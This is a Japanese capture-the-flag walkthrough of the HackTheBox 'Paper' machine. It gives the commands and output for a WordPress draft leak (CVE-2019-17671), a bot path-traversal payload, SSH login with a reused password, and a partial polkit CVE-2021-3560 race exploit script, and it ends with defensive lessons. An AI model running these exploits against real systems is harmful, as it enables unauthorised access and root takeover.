HackTheBox: Paper — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(HTTP)/443(HTTPS)
→
22(SSH)/80(HTTP)/443(HTTPS)
X-Backend-Server header
office.paper vhost発見
→
office.paper vhost発見
CVE-2019-17671
?static=1 で非公開draft閲覧
→
?static=1 で非公開draft閲覧
Rocket.Chat招待URL入手
chat.office.paper/register/…
→
chat.office.paper/register/…
ブラウザで登録+ユーザー名確定
REST APIはApacheでブロック
→
REST APIはApacheでブロック
recyclopsボットへパストラバーサル
hubot/.env読み取り
→
hubot/.env読み取り
SSH as dwight
user.txt ✓
→
user.txt ✓
CVE-2021-3560 polkitレース
dbus-send CreateUser
→
dbus-send CreateUser
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p 21,22,23,25,53,80,88,110,111,135,139,...,443,... -T4 --max-retries 3 10.129.136.31
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https Nmap done: 1 IP address (1 host up) scanned in 3.17 seconds
BASH
nmap -sV -sC -p 22,80,443 10.129.136.31
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) 80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) |_http-title: Blunder Tiffin Inc. – The best paper company in the elec... |_http-generator: WordPress 5.2.3 443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) | ssl-cert: Subject: commonName=localhost.localdomain |_http-title: HTTP Server Test Page powered by CentOS | http-methods: |_ Potentially risky methods: TRACE
ℹ️
ポート80は WordPress 5.2.3 が稼働中(
Blunder Tiffin Inc. という架空のペーパー会社サイト)。
ポート443は証明書のcommonName=localhost.localdomain以外に手がかりなし。
X-Backend-Server ヘッダーからvhost発見
BASH
curl -I http://10.129.136.31/
RESULT
HTTP/1.1 403 Forbidden
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
X-Backend-Server: office.paper
Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
Content-Length: 199691
🚨
IPへの直接アクセスは403だが、
X-Backend-Server: office.paperというレスポンスヘッダーから
内部で使われているvhost名が漏洩している。/etc/hostsに 10.129.136.31 office.paper を追加する。
サブドメイン探索
BASH
ffuf -w directory-list-lowercase-2.3-medium.txt -u http://10.129.136.31/ \ -H 'Host: FUZZ.office.paper' -fc 403
RESULT
chat [Status: 200, Size: 223163, Words: 13014, Lines: 508]
✅
chat.office.paper というvhostが発見された。これも /etc/hosts に追加すると
Rocket.Chat のログイン画面が表示される。画面には
「Registration can only be done using the secret registration URL!」と表示され、招待URLが必要なことが分かる。
PHASE 2
CVE-2019-17671 — WordPress 非公開draft閲覧
WordPressブログの確認
BASH
curl -s office.paper | grep generator
RESULT
<meta name="generator" content="WordPress 5.2.3" />
ℹ️
トップページには「Blunder Tiffin Inc.」の記事が並ぶ。最新投稿「Feeling Alone!」のコメント欄に
「Michael, you should remove the secret content from your drafts ASAP, as they are not that secure as you think! -Nick」
という決定的なヒントが残っている。
?static=1 で下書き記事をすべて露出させる
BASH
curl -s "http://office.paper/?static=1"
RESULT(抜粋)
<p>Hello employees of Blunder Tiffin,</p> <p>Due to the orders from higher officials, every employee who were added to this blog is removed and they are migrated to our new chat system.</p> <p>So, I kindly request you all to take your discussions from the public blog to a more private chat system. -Nick</p> <p># Warning for Michael</p> <p>Michael, you have to stop putting secrets in the drafts. ... -Nick</p> <p># Secret Registration URL of new Employee chat system</p> <p>http://chat.office.paper/register/8qozr226AhkCHZdyY</p>
🚨
CVE-2019-17671(WordPress Core 5.2.3未満の脆弱性): クエリ文字列に
?static=1 を付けるだけで、未認証のまま status=draft / status=trash
を含む全投稿が one by one レンダリングされてしまう。公開ページには出てこない
「Secret Registration URL」がここに書き残されており、Rocket.Chatへの招待URLが入手できた。
PHASE 3
Rocket.Chat登録 — REST APIがブロックされておりブラウザ操作が必須
定石どおりcurlでREST APIを叩くと全滅する
BASH
# 定番の手口(form-urlencoded login, JSON register)を一通り試す
curl -X POST -d 'user=kcrpaper&password=...' http://chat.office.paper/api/v1/login
curl -X POST -H "Content-Type: application/json" \
-d '{"username":"kcrpaper","email":"...","pass":"...","name":"kcrpaper"}' \
http://chat.office.paper/api/v1/users.register
RESULT
HTTP/1.1 401 Unauthorized ← /api/v1/login <html><head><title>401 Unauthorized</title></head>... HTTP/1.1 400 Bad Request ← /api/v1/users.register <html><head><title>400 Bad Request</title></head>...
🚨
重要な落とし穴: この401/400応答は Rocket.Chat 自体が返しているのではなく、
Apacheが
/api/v1/login /api/v1/users.register
/api/v1/im.create /api/v1/chat.postMessage 等の特定のエンドポイント名を
意図的に遮断しているために発生している。証拠として、これらの応答には
Rocket.Chat固有のレスポンスヘッダー(X-Instance-ID、Content-Security-Policy等)が
一切付かない=バックエンドに到達すらしていない。一方 GET /api/info や
GET /api/v1/me(認証ヘッダー付き)は正常に通る。POSTでも
存在しないランダムなパス名なら普通に200が返る=POST全般ではなく、
特定のエンドポイント名をピンポイントでブロックするルールが入っている。
対策: 実ブラウザで招待URLへ直接アクセスする
BASH
# Firefoxで直接開く(GUIがあれば普通にブラウザで開くだけでよい) firefox "http://chat.office.paper/register/8qozr226AhkCHZdyY"
ℹ️
このURLへのGETリクエストはAPIパス名ではないため正常に表示される。表示された登録フォームに
Name / Email / Password / Confirm password を入力して送信する(アカウント自体は
使い捨てでよいので任意の値でよい)。
もう一つの落とし穴: 「Register Username」確認ステップ
NOTE
登録フォーム送信直後、画面には続けて 「REGISTER USERNAME — The username is used to allow others to mention you in messages.」 という別画面が表示され、[Use this username] ボタンのクリックを要求される。 このステップを完了しない限り、Rocket.Chatサーバー内部ではアカウントに @usernameが確定していない状態のままになり、後続の「recyclopsへのDM開始」が 誰に対しても(自分自身に対してすら)"Invalid user" エラーで失敗し続ける。 公開情報のRocket.Chat REST APIをスクリプトだけで叩く攻略法が多く出回っているが、 このインスタンスでは上記のApacheブロックと合わせて、 "実際にブラウザでここまで操作を完了させる" ことが事実上必須になっている。
⚠️
[Use this username] を押し忘れると、Rocket.Chatの左サイドバーに「general」チャンネルが
表示されるだけで recyclops とのDMを開始しようとしても毎回失敗する。必ずこのステップまで
完了させてから次に進むこと。
PHASE 4
recyclopsボットへのパストラバーサル & user.txt 取得
recyclopsボットへDMを開始
BASH
# ブラウザで直接遷移するだけでDMルームが開く http://chat.office.paper/direct/recyclops
ℹ️
recyclopsはHubotベースの自動応答ボットで、
recyclops list <path> /
recyclops file <path> というコマンドでサーバー上のファイル一覧・内容を読み取れる
(本来は社内の sales フォルダ限定の想定だが、.. によるパストラバーサルで
任意のパスへ脱出できる)。
パストラバーサルでhubotの.envを読み取る
BASH(Rocket.Chatのメッセージ入力欄に直接入力)
recyclops file ../../../../home/dwight/hubot/.env
RESULT(recyclopsボットからの返信)
<!=====Contents of file ../../../../home/dwight/hubot/.env=====>
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1
<!=====End of file ../../../../home/dwight/hubot/.env=====>
✅
平文パスワード入手!
ROCKETCHAT_PASSWORD=Queenofblad3s!23
はhubotがRocket.Chat APIにログインするための資格情報だが、dwightユーザーのSSHパスワードとも
使い回されている(典型的なパスワード再利用)。
SSHでdwightとしてログイン & user.txt取得
BASH
sshpass -p 'Queenofblad3s!23' ssh dwight@10.129.136.31 "id; cat ~/user.txt"
RESULT
uid=1004(dwight) gid=1004(dwight) groups=1004(dwight) 9398992d07a44aa52f7ad6186eabc14c
user.txt — dwight
9398992d07a44aa52f7ad6186eabc14c
PHASE 5
CVE-2021-3560 (polkit) レースコンディション & root.txt
polkitバージョンの確認
BASH
systemctl status polkit.service which dbus-send
RESULT
● polkit.service - Authorization Manager Active: active (running) /usr/bin/dbus-send
🚨
CVE-2021-3560: polkit (pkexec/polkitd) 0.115系のバージョンには、
org.freedesktop.Accounts.CreateUser をD-Busで呼び出した直後にクライアントを
強制切断すると、polkitdの認可チェックが完了する前に特権操作だけが実行されてしまう
TOCTOU(Time-of-check to time-of-use)レースコンディションが存在する。
レース用エクスプロイトスクリプトの作成
BASH (pk_exploit.sh の要点)
# 1. dbus-send 1回分の往復時間を実測し、その半分を sleep 時間として動的計算
realTime=$(TIMEFORMAT="%R"; { time dbus-send --system --dest=org.freedesktop.Accounts \
--print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser \
string:$userName string:$realName int32:$accountType; } 2>&1 | cut -d" " -f6)
halfTime=$(echo "scale=3;$realTime/2" | bc)
# 2. CreateUser を「半分の時間で強制kill」を繰り返し、ユーザーが実際に
# 作成されるまでレースを試行し続ける(accountType=1 = administrator)
while [[ $userid == "" ]]; do
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
--print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser \
string:$userName string:$realName int32:$accountType 2>/dev/null &
sleep $halfTime; kill $! 2>/dev/null
id "$userName" &>/dev/null && userid=$(id -u $userName)
done
# 3. 同じ手口で /etc/shadow のパスワードハッシュも強制設定
...
ℹ️
動的に計測した往復時間の半分をsleepに使うことで、環境(SSH越しの遅延など)が変わっても
レースの成功率を安定させている。固定の待機時間だと環境差で全く刺さらないことがある。
エクスプロイト実行
BASH(dwightとしてSSH、TTY必須)
scp pk_exploit.sh dwight@10.129.136.31:~/ ssh -tt dwight@10.129.136.31 "bash ~/pk_exploit.sh"
RESULT(抜粋、Terminated行は想定内の失敗試行)
[*] Determining dbus-send timing [*] Attempting to create account ... Terminated ...(約30〜40回の試行) [*] New user hacked3 created with uid of 1005 [*] Adding password to /etc/shadow and enabling user [*] Exploit complete! [*] VERIFY getent passwd: hacked3:x:1005:1005:hacked3:/home/hacked3:/bin/bash [*] VERIFY groups: hacked3 : hacked3 wheel
✅
新規ユーザー
hacked3 が wheel(sudo)グループ付きで作成された
(パスワードは password、スクリプト内にハードコードされたbcryptハッシュに対応)。
groups での確認まで行うのがポイント — TOCTOUレースの性質上、
id コマンド1回だけの成功判定では「一瞬だけ見えて後で消える」誤検知があり得る。
root.txt取得
BASH
sshpass -p 'password' ssh hacked3@10.129.136.31 \ "echo password | sudo -S cat /root/root.txt"
RESULT
[sudo] password for hacked3:
b061e698f122181444902270c716b72e
root.txt — root
b061e698f122181444902270c716b72e
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — dwight
9398992d07a44aa52f7ad6186eabc14c
root.txt — root
b061e698f122181444902270c716b72e
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2019-17671 | WordPress Core 5.2.3 | 未認証での下書き/ゴミ箱記事の閲覧 | Critical | ?static=1 クエリで全投稿ステータスがレンダリングされ、Rocket.Chat招待URLが漏洩 |
| パストラバーサル | recyclops Hubotボット(salesフォルダ限定の想定) |
任意ファイル読み取り | Medium | recyclops file ../../../../home/dwight/hubot/.env で平文の資格情報を窃取 |
| パスワード使い回し | hubotサービスアカウント ⇄ dwight(SSH) | 横移動(foothold → user.txt) | Medium | hubot設定のROCKETCHAT_PASSWORDがdwightのSSHパスワードと同一 |
| CVE-2021-3560 | polkit 0.115-6(pkexec/polkitd, accountsservice経由) | 権限昇格(一般ユーザー → sudo/wheel所属ユーザー作成) | Critical | D-Bus CreateUser/SetPassword 呼び出し直後にクライアントをkillするTOCTOUレース |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + X-Backend-Serverヘッダー + vhostファジング | office.paper(WP)/ chat.office.paper(Rocket.Chat) |
| 2 | WordPress draft漏洩 | CVE-2019-17671 (?static=1) | Rocket.Chat招待URL |
| 3 | Rocket.Chat登録 | 実ブラウザ操作(REST APIはApacheでブロック) | アカウント作成 + recyclopsとのDM確立 |
| 4 | 資格情報窃取 | recyclopsボットへのパストラバーサル | user.txt(dwight, パスワード使い回し経由) |
| 5 | 権限昇格 | CVE-2021-3560 polkit TOCTOUレース | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| WordPress 5.2.3 のdraft/trashステータス投稿が未認証で閲覧可能(CVE-2019-17671) | WordPressを5.2.3以降(パッチ適用済みバージョン)へ更新する。下書きに機密情報(招待URL等)を書かない運用に変更する。 |
| Botのファイル読み取り機能にディレクトリトラバーサル対策が無い | ユーザー入力パスを正規化(path.resolve等)し、許可ディレクトリ配下かどうかを文字列前方一致で厳密にチェックする。 |
| サービスアカウント(hubot)のパスワードがOSユーザー(dwight)のSSHパスワードと共通 | サービス用資格情報とヒューマンユーザーの認証情報は完全に分離し、サービス側はランダム生成パスワード+定期ローテーションにする。 |
| polkit 0.115系の既知のTOCTOUレース脆弱性(CVE-2021-3560)が未パッチ | polkit/accountsserviceを修正バージョンへ更新する(RHEL/CentOS 8系は0.115-6以降で修正済み)。D-Busの特権メソッド呼び出しに対する監査ログを有効化する。 |
| Apacheのリバースプロキシ設定で特定APIエンドポイント名だけをブロックする「その場しのぎ」の対策 | 根本原因(WordPress draft漏洩、パストラバーサル、パスワード使い回し、polkit脆弱性)を修正せず特定URLパターンだけ遮断しても、本レポートのようにDDP(SockJS)経由やブラウザ操作で容易に回避される。WAF的な対症療法ではなく脆弱性そのものを修正すべき。 |

